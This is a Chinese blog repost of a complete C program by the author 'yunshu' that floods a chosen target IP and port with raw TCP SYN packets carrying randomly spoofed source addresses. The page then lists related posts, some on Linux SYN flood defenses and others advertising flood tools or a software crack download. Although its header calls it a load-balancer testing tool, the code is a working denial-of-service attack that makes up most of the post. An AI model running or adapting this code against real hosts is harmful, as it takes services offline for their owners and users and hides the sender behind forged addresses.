Linux的SYN FLOOD

使用Kali Linux进行SYN Flood攻击 1、SYN SYN:同步序列编号(Synchronize Sequence Numbers),是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。... 阅读详情

原文地址http://www.icylife.net/yunshu/show.php?id=367,作者是阿里云安全专家。拿过来学习一下~~

/********************************************************************************************
* SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
* gcc -o syn_test -O3 syn_test.c
* change log:
* 	2006-12-01, code by yunshu(wustyunshu@hotmail.com), thx luoluo for fixing a bug.
* 	2006-12-05, yunshu fix a bug, version 1.0
* 	2006-12-26, thx bocai for reporting a bug, version 1.1
* 	2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
*   2010-11-10 yunshu fix a little bug
*   2010-11-19 yunshu modify the sleep funtion, version 1.3.
*   2011-06-26 yunshu delete attack code, make it to be a testing tool.
*
*   it used to test loadblance, you have to change some code for attacking. 
*********************************************************************************************/
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
 
typedef struct ip_hdr
{
    unsigned char       h_verlen;
    unsigned char       tos;
    unsigned short      total_len;
    unsigned short      ident;
    unsigned short      frag_and_flags;
    unsigned char       ttl;
    unsigned char       proto;
    unsigned short      checksum;
    unsigned int        sourceIP;
    unsigned int        destIP;
}IP_HEADER;
 
typedef struct tcp_hdr
{
    unsigned short      th_sport;
    unsigned short      th_dport;
    unsigned int        th_seq;
    unsigned int        th_ack;
    unsigned char       th_lenres;
    unsigned char       th_flag;
    unsigned short      th_win;
    unsigned short      th_sum;
    unsigned short      th_urp;
}TCP_HEADER;
 
typedef struct tsd_hdr
{
    unsigned long       saddr;
    unsigned long       daddr;
    char                mbz;
    char                ptcl;
    unsigned short      tcpl;
}PSD_HEADER;
 
#define PACKET_SIZE     sizeof(IP_HEADER) + sizeof( TCP_HEADER )
 
char    dst_ip[20] = { 0 };
int     dst_port;
unsigned long long sleeptime, starttime, outcount=0;
int pkt_then_sleep = 0;
 
unsigned short CheckSum(unsigned short * buffer, int size)
{
        unsigned long   cksum = 0;
 
        while (size > 1)
        {
                cksum += *buffer++;
                size -= sizeof(unsigned short);
        }
        if (size)
        {
                cksum += *(unsigned char *) buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);
 
        return (unsigned short) (~cksum);
}
 
void MySleep(unsigned int micro_second)
{
        struct timeval  t_timeval;
 
        t_timeval.tv_sec = 0;
        t_timeval.tv_usec = micro_second;
 
        select( 0, NULL, NULL, NULL, &t_timeval );
}
 
void Init( char *buffer )
{
        char    src_ip[20] = { 0 };
	int     n = 0;
 
        IP_HEADER       IpHeader;
        TCP_HEADER      TcpHeader;
        PSD_HEADER      PsdHeader;
 
        sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
 
        IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
        IpHeader.tos = 0;
        IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
        IpHeader.ident = 1;
        IpHeader.frag_and_flags = 0x40;
        IpHeader.ttl = 255;
        IpHeader.proto = IPPROTO_TCP;
        IpHeader.checksum = 0;
        IpHeader.sourceIP = inet_addr(src_ip);
        IpHeader.destIP = inet_addr(dst_ip);
 
        TcpHeader.th_sport = htons( rand()%9000 + 1234 );
        TcpHeader.th_dport = htons( dst_port );
        TcpHeader.th_seq = htonl( rand()%90000000 + 2345 );
        TcpHeader.th_ack = 0;
        TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
        TcpHeader.th_flag = 0x02;
        TcpHeader.th_win = htons(512);
        TcpHeader.th_sum = 0;
        TcpHeader.th_urp = 0;
 
        PsdHeader.saddr = IpHeader.sourceIP;
        PsdHeader.daddr = IpHeader.destIP;
        PsdHeader.mbz = 0;
        PsdHeader.ptcl = IPPROTO_TCP;
        PsdHeader.tcpl = htons(sizeof(TcpHeader));
 
        memcpy( (void*)buffer, (void*)&PsdHeader, sizeof(PsdHeader) );
        memcpy( (void*)(buffer + sizeof(PsdHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
        TcpHeader.th_sum = CheckSum( (unsigned short *) buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );
 
		memset( buffer, 0, PACKET_SIZE );
        memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
        IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
 
        //memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
        memcpy( (void*)(buffer+sizeof(IpHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
}
 
void Flood( )
{
        int     sock;
	int     flag = 1;
	char    buffer[PACKET_SIZE] = { 0 };
 
        struct  sockaddr_in     sa;
        memset( &sa, 0, sizeof(struct  sockaddr_in) );
        sa.sin_family = AF_INET;
        sa.sin_port = htons(dst_port);
        sa.sin_addr.s_addr = inet_addr(dst_ip);
 
        if ( ( sock = socket(PF_INET,SOCK_RAW,6) ) < 1 )
        {
                printf( "create socket error...%s\n", strerror(errno) );
                exit (-1);
        }
 
        if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )
        {
                printf("setsockopt error...%d\n", errno);
                exit (-1);
        }
 
	srand((unsigned) time(NULL));
 
	int     number = 0;
	if( sleeptime == 0 )
	{
		while(1)
		{
			memset( (void*)buffer, 0, PACKET_SIZE );
        		Init( buffer );
 
        		sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
        		outcount ++;
		}
	}
	else
	{
		while(1)
		{
			memset( (void*)buffer, 0, PACKET_SIZE );
        		Init( buffer );
 
        		sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
        		outcount ++;
			number ++;
 
			if( number == pkt_then_sleep )
                        {
				MySleep( sleeptime );
				number = 0;
                        }
                }
        }
}
 
void sig_proc(int signum)
{
	int ctime = 0;
 
        printf( "signal: %d\n", signum );
 
        ctime=time(NULL);
 
        printf("\n -- statistics -----------------------\n");
        printf("   packets sent:          %d\n",outcount);
        printf("   seconds active:        %d\n",ctime-starttime);
        printf("   average packet/second: %d\n",outcount/(ctime-starttime));
        printf(" -------------------------------------\n");
 
        exit(1);
}
 
int main(int argc,char *argv[])
{
	int ret = 0;
	pthread_t* my_thread = NULL;
	int a =0;
	int type = 0;
 
        if( argc != 5 )
        {
                fprintf(stderr,"\n%s <target ip> <target port> <pkt_then_sleep> <sleep_time>\n", argv[0]);
		fprintf(stderr, "send syn packets to <target ip>:<target port>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets\n\n");
                return -1;
        }
 
        strncpy( dst_ip, argv[1], 16 );
        dst_port = atoi( argv[2] );
 
        if( inet_addr(dst_ip) == INADDR_NONE )
        {      
                printf( "target ip error.\n" );
                return -1;
        }
 
        if( dst_port < 0 || dst_port > 65535 )
        {      
                printf( "port error.\n" );
                return -1;
        }
 
	pkt_then_sleep = atoi(argv[3]);
	if( pkt_then_sleep == 0 )
	{
		printf( "pkt_then_sleep error.\n" );
		return -1;
	}
        sleeptime = atoi(argv[4]);
 
        starttime = time(NULL);
        while(time(NULL) == starttime) usleep(1000);
 
        signal(SIGHUP,&sig_proc);
        signal(SIGINT,&sig_proc);
        signal(SIGQUIT,&sig_proc);
        signal(SIGILL,&sig_proc);
        signal(SIGABRT,&sig_proc);
        signal(SIGFPE,&sig_proc);
        signal(SIGSEGV,&sig_proc);
        signal(SIGPIPE,&sig_proc);
        signal(SIGALRM,&sig_proc);
        signal(SIGTERM,&sig_proc);
        signal(SIGUSR1,&sig_proc);
        signal(SIGUSR2,&sig_proc);
        signal(SIGCHLD,&sig_proc);
        signal(SIGCONT,&sig_proc);
        signal(SIGTSTP,&sig_proc);
        signal(SIGTTIN,&sig_proc);
        signal(SIGTTOU,&sig_proc);
 
        Flood();
 
        return 0;
}

Linux 内核 TCP 连接请求处理与 SYN Flood 防御机制解析 Linux内核的TCP处理机制展现了精妙的设计哲学:在协议标准框架内,通过动态资源管理、加密算法和架构优化,实现安全性与性能的完美平衡。随着网络攻击的不断演进,这套机制也在持续进化,为互联网基础设施提供坚实保障。理解其工作原理,不仅能优化系统性能,更能提升应对新型网络威胁的能力。在 Linux 内核的网络协议栈中,TCP 协议的实现需要处理大量复杂的场景,包括正常连接建立、异常流量防御以及资源管理等。其中,函数和函数是处理 TCP 连接请求和防御 SYN Flood 攻击的核心组件。 阅读详情

相关推荐

Linux内核Syncookies机制:抵御SYN Flood攻击的坚实防线

Linux内核Syncookies机制通过加密哈希算法生成和验证cookie,在不分配内存的情况下防御SYN Flood攻击。核心实现包括:1. 使用siphash生成包含哈希值、序列号和时间计数的安全cookie;2. 在TCP时间戳低6位编码选项(ECN/SACK/窗口缩放);3. 通过预定义MSS表索引优化存储;4. 验证ACK后重建完整连接状态。该机制通过/proc参数控制三种模式,在保证安全性的同时(防伪造/过期验证)维持TCP功能完整,为SYN Flood攻击提供了高效防御方案。

数字人生 228

linux洪水攻击软件,SYN洪水攻击工具hping SYN-Flooding tool

这是SYN洪水攻击工具hping SYN-Flooding tool,是一個網路工具,可以用來測試firewall, 網路效能, 觀察遠端主機的回應狀態,包括TCP,UDP,ICMP。软件介绍前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送...

weixin_32301557的博客 3296

syn.exe --(HUC SYN Flood Tool V0.2)

软件说明: 在命令提示符下运行,只支持NT/2000/XP/03系统 中国红客联盟(HUC) 在鼎盛时期的DDOS作品 上传只为学习之用,禁止用于非法途径!

Linux 防范SYN Flood攻击

通过上述措施,可以显著提高服务器对SYN Flood攻击的防御能力。然而,网络安全是一个持续的过程,需要定期审查和更新安全策略。此外,监控系统日志和网络流量,以及使用专业的入侵检测系统(IDS),也是防范网络攻击的重要组成部分。

峰迹的博客 1607

syn flood测试工具

学习网路基础tcp/ip,可以用来模拟黑客攻击仅供测试使用。

syn flood tool

较强大的syn flood 工具,仅作测试之用,请合理使用。

LINUX常见问题之SYN flooding

关于普遍发生的SYN flooding知识

有莘不破的博客 1607

多线程自动化syn&udp flood攻击集成工具

http://download.youkuaiyun.com/detail/wuchunlai_2012/9372564 http://download.youkuaiyun.com/detail/wuchunlai_2012/9373247 这是我针对以前发出的两个工具做的一些优化和集成,增加了自动识别网卡mac等功能,优化了攻击时间的控制策略。如果大家只是学习用,建议下载以上的代码进行修改和自己编写。 备注:代码自己学习测试用得,有恶意攻击行为的后果自负 之后将发布集成cc攻击的3.0版本

如何在Linux中防止SYN Flood攻击

教你如何在Linux中防止SYN Flood攻击 - Linux就该这么学 - 博客园SYN泛洪攻击(SYN Flood)是指使用不完善的TCP/IP三次握手,恶意发送大量只包含SYN握手序列的数据包的攻击方法。这种攻击方法可能会导致被攻击的计算机拒绝服务甚至崩溃,从而使潜在的连接占用https://www.cnblogs.com/linuxprobe/p/12641250.html如果您遭受SYN洪水攻击下的Linux服务器,您可以设置以下:减少SYN-超时时间: iptables -A FORWARD

maimang1001的专栏 1202

多线程自动化SynFlood[Linux下源码]

这个代码的原版是从某个论坛上很多年前的帖子翻出来的,本人还不会熟练使用makefile,所以直接在他上面进行了开发。我也不知道很多文件有什么用,src文件夹中有代码,include中包含了头文件信息。 使用说明放在压缩包内的readme.txt,里面有详细的使用说明,我给他补充了很多功能,绝对好用,满足95%你的尝试欲望。更多功能待我有时间写好了上传,里面有我的联系方式,如果有问题请联系我。

PCB工艺-SI9000-模型选择

本文介绍了PCB设计中常用的阻抗计算模型,主要包括外层、内层和嵌入式三类共12种计算模型,涵盖单端/差分、共面等不同场景。针对阻抗计算中的关键参数,文章提供了经验值参考:表层走线厚度0.035mm(1.4mil),内层0.0152mm(0.6mil);并列出常见PP材料的介电常数(3.8-4.5)和成品厚度(3-7.5mil)。作者建议90%的设计问题可通过上述模型解决,层叠参数建议咨询PCB厂家获取。

weixin_50120208的博客 1384

LINUX对 SYN Flood 攻击的设置[摘]

摘于http://www.cublog.cn/opera/showart.php?blogid=12384&id=107049网页在翻页到一个特定的页面的时候,和服务器80端口的连接被中止。 查看了netstat -anlp 发现有类似以下的记录,而IP就是我的。 tcp 0 2560 61.152.251.68:80 60.26.156.241:1523 SYN_RECV - 由于可能是

ggg Freak 5740

STM32F103C8T6全桥逆变电路PWM波生成(基于HAL库)

全桥逆变电路需要两组开关管相互协同工作,故需要两路PWM控制信号,为了防止电源短路,需要保证同一桥臂的上下两个开关管不会同时导通,故两路PWM在相位上需要相差180°;为了保证高频变压器不会磁饱和,使正负半周PWM占空比相同。但是传统的互补输出达不到调节占空比调节输出电压的效果。......

weixin_45042735的博客 6023

linux 查看syn网络日志,Linux下分析SYN flood攻击案例

近期遇到几例服务器被SYN攻击的问题,今天详细分析一下SYN flood攻击的原理简单回顾一下TCP/IP三次握手的过程1. Host A 发送一个TCPSYNchronize 包到HostB2. Host B 收到HostA的SYN3. Host B 发送一个SYNchronize-ACKnowledgement4.Host A 接收到HostB的SYN-ACK5.Host A ...

weixin_35039926的博客 1059

基于eBPF和LSM的强制文件访问控制系统架构设计和实现

本文介绍了一种基于 eBPF 与 Linux 安全模块(LSM)实现的强制文件访问控制系统。该系统利用 eBPF 的高性能和动态加载能力以及 LSM 的系统调用拦截功能,提供了灵活且强大的文件访问控制策略。文章详细描述了系统的设计思路、架构组成、关键代码实现及错误处理方式。通过用户空间程序与内核态 eBPF 程序的协作,实现了对文件操作的实时监控和控制,支持动态更新安全策略而无需重启系统。此外,文中还讨论了未来可能的扩展方向,如增加更多 hook 点、集成其他安全模块以及性能优化等。

Linux内核研究者 1839

目标检测 | R-CNN、Fast R-CNN与Faster R-CNN理论讲解

目标检测:R-CNN、Fast R-CNN与Faster R-CNN理论讲解,根据B站up霹雳吧啦Wz总结。此文章包含R-CNN算法原理讲解、Fast R-CNN算法原理讲解、Faster R-CNN原理讲解、目标检测评价指标介绍与特征金字塔网络FPN讲解。

houjingchuan的博客 9566

Kali linux 学习笔记(七十二)拒绝服务——syn flood 2020.4.14

本节学习syn flood,最常见的拒绝服务,基于TCP

闵行小鱼塘 1184

SAP PO开发-端到端配置

1.登录PO系统,选择system landscape,将外围系统的系统信息(Software Component以下简称SC)注册到PO系统中。2.点击products注册外围系统信息。3.选择New 新建 按钮:创建一个新的系统和版本。4.输入产品名称、供应商、版本号等信息。然后点击:Next。5.设置instance 名称,然后点击Next。6.最后设置软件组件的名称,然后点击Finish。

P9QCer的博客 1577

CentOS SYN Flood攻击原理Linux下设置

一:什么是CentOS SYN Flood攻击 CentOS SYN Flood攻击利用的是IPv4中TCP协议的三次握手(Three-Way Handshake)过程进行的攻击。这个协议规定,如果一端想向另一端发起TCP连接,它需要首先发送TCP SYN (synchronize)包到对方。 对方收到后发送一个TCP SYN+ACK包回来,发起方再发送TCP ACK (ACKno...

痴迷无限好 823

深入解析Pytest 底层源码

Pytest 的底层架构是一个基于 pluggy钩子机制的微内核架构。其核心流程是一个固定的链条,链条上的每个环节都通过钩子向外暴露,允许插件介入。这种设计使得 Pytest 极其灵活和强大。启动: 解析配置,加载所有插件(包括核心插件)。收集: 遍历文件系统,发现测试用例,并生成Item对象。执行: 对每个Item,依次执行setup->call->teardown协议。报告: 在整个过程中,通过不同的钩子收集信息,最终生成报告。

monk all the way 619

高性能算力中心 — RDMA — Overview

目录 文章目录目录RDMA基于以太网的 RoCE/RDMA 计算优化NVMeNVMe Over Fabrics基于以太网的 NVMe 存储优化 RDMA RDMA(Remote DMA,远程直接内存访问)是一种新的内存访问技术,RDMA 让计算机可以直接存取其他计算机的内存,而不需要经过 CPU 耗时的处理。RDMA 将数据从一个系统快速移动到远程系统存储器中,而不对操作系统造成任何影响。RDMA 技术的原理及其与 TCP/IP 架构的对比如下图所示。 InfiniBand(IB):从一开始就支持 R

烟云的计算 2365

linux ddos icmp检测,Linux DDos(SYN Flood)***的检测和防范

netstat 工具来检测SYN***# netstat -n -p -ttcp0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV-tcp0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV-tcp0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV-...LINUX系统中看到...

weixin_42322467的博客 310

使用R语言获取泊松回归模型的事件密度比(Incidence Rate Ratio,IRR)的95%置信区间

在泊松回归模型中,我们通常关注的是自变量对事件发生率的影响,而事件密度比(Incidence Rate Ratio,IRR)可以帮助我们理解不同自变量对事件发生率的相对影响。在本文中,我们将使用R语言来获取泊松回归模型所有系数的事件密度比的95%置信区间。通过以上步骤,我们可以使用R语言获取泊松回归模型所有系数的事件密度比的95%置信区间。为了获取事件密度比的置信区间,我们将使用。使用R语言获取泊松回归模型的事件密度比(Incidence Rate Ratio,IRR)的95%置信区间。

BugCrusher的博客 1264

linux syn包 找进程,Linux下分析SYN flood***案例

近期遇到几例服务器被SYN***的问题,今天详细分析一下SYN flood***的原理,首先简单回顾一下TCP/IP三次握手的过程。1. Host A 发送一个TCPSYNchronize 包到 Host B2. Host B 收到 Host A的SYN3. Host B 发送一个SYNchronize-ACKnowledgement4. Host A 接收到Host B的SYN-ACK5. Ho...

weixin_39907526的博客 326

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

LINUX下SYN FLOOD攻击及LINUX下SYN攻防简述

LINUX下SYN FLOOD攻击及LINUX下SYN攻防简述

m0_60571990的博客 528

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上一篇: NoteExpress编辑文献总结
下一篇: DNS Query Flood攻击
Virgilio
博客等级 码龄17年 33粉丝 22原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值